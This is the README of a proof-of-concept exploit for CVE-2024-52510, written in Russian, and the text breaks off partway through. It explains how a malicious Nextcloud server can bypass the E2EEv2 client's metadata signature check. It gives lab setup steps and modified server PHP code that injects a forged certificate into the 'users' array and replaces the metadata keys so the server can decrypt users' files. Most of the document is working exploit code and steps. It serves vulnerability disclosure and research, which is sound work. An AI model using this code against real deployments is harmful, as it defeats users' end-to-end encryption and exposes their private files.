
Эксплойт-доказательство концепции для CVE-2024-52510, демонстрирующий обход подписи в протоколе E2EEv2 Nextcloud, обеспечивающий серверную расшифровку зашифрованных файлов через инъекцию ключа метаданных.
При нормальной работе протокола E2EEv2 в Nextcloud клиенты криптографически подписывают метаданные папок перед загрузкой на сервер. Это гарантирует, что метаданные не были подменены при их повторном получении для целей совместного использования файлов или синхронизации изменений.
Проверка подписи выполняется клиентом в
foldermetadata.cpp:177
при инициализации полученных метаданных. Однако у вредоносного сервера есть два способа обойти эту проверку:
Он может ответить пустым заголовком ответа X-E2EE-SIGNATURE. Поскольку
заголовок пуст, условие в
foldermetadata.cpp:168
означает, что проверка подписи не выполняется, и изменённые метаданные
принимаются клиентом.
Он может внедрить сертификат в JSON-массив users, а затем подписать
метаданные этим сертификатом. Поскольку CMS_NO_SIGNER_CERT_VERIFY
передаётся в
clientsideencryption.cpp:941,
сертификат подписи не проверяется по цепочке доверия, и клиент проверяет
только наличие сертификата подписи в векторе certificatePems
(clientsideencryption.cpp:955-971),
который контролируется сервером.
В этом POC мы продемонстрируем второй метод, так как он сложнее в реализации, однако оба метода были протестированы и работают.
Вредоносный сервер может использовать этот обход, чтобы предоставлять клиентам ключи метаданных, известные серверу. Клиенты затем будут использовать этот ключ метаданных для шифрования последующих файлов, что позволит серверу расшифровывать и читать файлы в папках со сквозным шифрованием.
Этот способ эксплуатации обхода подписи основан на атаке, найденной Альбрехтом, Бекендалом, Копполой и Патерсоном в 2023 году (https://eprint.iacr.org/2024/546) на предыдущую версию протокола E2EE. Действительно, аутентификация ключей метаданных была мерой противодействия этой атаке (см. раздел 5.1 указанной статьи).
Клонируйте этот репозиторий и откройте его в VS Code с помощью расширения DevContainer. Предоставляется DevContainer на основе контейнера из репозитория сервера Nextcloud со следующими изменениями:
7001 доступен обратный прокси-сервер mitmproxy. Веб-интерфейс доступен на порту 7002.encryption и end_to_end_encryption, и будет создана учётная запись с именем пользователя и паролем sharer.Когда сервер будет запущен, подключитесь к нему по адресу http://localhost:8000 (или через обратный прокси-сервер по адресу http://localhost:7001) с помощью последней версии клиента. В настоящее время я тестировал это на AppImage v3.13.2.
sha256sum Nextcloud-3.13.2-x86_64.AppImage
92ec0a5260f6260fa8ce92acdb022c441f0efbf6b57cc96d75ac608ccb4c4ee2 Nextcloud-3.13.2-x86_64.AppImage
При появлении запроса войдите с именем пользователя sharer и паролем sharer. Примите параметры синхронизации по умолчанию (будет создан каталог ~/Nextcloud/ с файлом welcome.txt внутри), а затем настройте сквозное шифрование в настройках клиента Nextcloud.
Создайте новую папку encrypted_folder в каталоге ~/Nextcloud. В настройках клиента Nextcloud отметьте эту папку как зашифрованную.

Nextcloud/encrypted_folder создайте простой текстовый файл и дождитесь его синхронизации.# ~/Nextcloud/encrypted_folder
$ echo 'this should be encrypted' > file.txt
Войдите в базу данных Postgres в Adminer по адресу http://localhost:8080/, используя учётные данные:
postgrespostgrespostgresи перейдите к таблицам oc_e2e_encryption_metadata и oc_e2e_encryption_decrypted. Вы должны увидеть расшифрованные метаданные и содержимое файлов в открытом виде.

На скриншотах выше было создано и удалено пара дополнительных тестовых файлов, поэтому они будут немного отличаться от того, что вы увидите.
Этот репозиторий основан на репозиториях сервера Nextcloud и приложения сквозного шифрования. Большая часть кода осталась без изменений, поэтому я постараюсь объяснить, что именно было изменено.
Во-первых, метод getMetadata в MetaDataStorage.php был изменён: теперь он подменяет возвращаемые метаданные, вызывая новый метод getFakeUserMetadata.
--- original/lib/MetaDataStorage.php 2024-07-11 23:38:16.105826088 +1000
+++ nc-server/apps/end_to_end_encryption/lib/MetaDataStorage.php 2024-07-11 21:05:37.734565037 +1000
@@ -68,14 +82,12 @@
return $legacyFile->getContent();
}
- $folderName = $this->getFolderNameForFileId($id);
- $folder = $this->appData->getFolder($folderName);
+ $metaData = $this->getFakeUserMetadata($id);
- return $folder
- ->getFile($this->metaDataFileName)
- ->getContent();
+ return $metaData;
}
В методе getFakeUserMetadata мы сначала внедряем выбранный сертификат в JSON-ключ users. Это необходимо для подделки подписи.
private function getFakeUserMetadata(int $id): string {
$folderName = $this->getFolderNameForFileId($id);
$folder = $this->appData->getFolder($folderName);
$metaData = json_decode($folder->getFile($this->metaDataFileName)->getContent());
if (is_null($metaData->users)) {
/* This is a non-root metadata. Return as normal*/
return json_encode($metaData);
}
/*
* Step 1: Inject a fake public key into the metadata
* This can be used to forge a signature for the response.
*/
$found = false;
foreach ($metaData->users as $userData) {
if ($userData->userId === $this->fakeUserId) {
$found = true;
break;
}
}
if (!$found) {
try {
$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
$pemCertificate = $certificateFile->getContent();
} catch (NotFoundException $e) {
/* Create a new private key for the fake user */
$privateKey = openssl_pkey_new();
openssl_pkey_export($privateKey, $privateKeyPem);
$folder->newFile($this->fakeUserPrivateKeyFileName)->putContent($privateKeyPem);
/* Client is expecting a certificate for the public key */
$csr = openssl_csr_new(array(), $privateKey);
$certificate = openssl_csr_sign($csr, null, $privateKey, 365);
openssl_x509_export($certificate, $pemCertificate);
$folder->newFile($this->fakeUserPublicCertificateFileName)->putContent($pemCertificate);
}
$newUser = new \stdClass();
$newUser->certificate = $pemCertificate;
array_push($metaData->users, $newUser);
}
Затем, поскольку у нас есть доступ к открытому ключу клиента, мы можем зашифровать наши собственные ключи и заменить зашифрованные ключи метаданных на ключи, которые мы контролируем.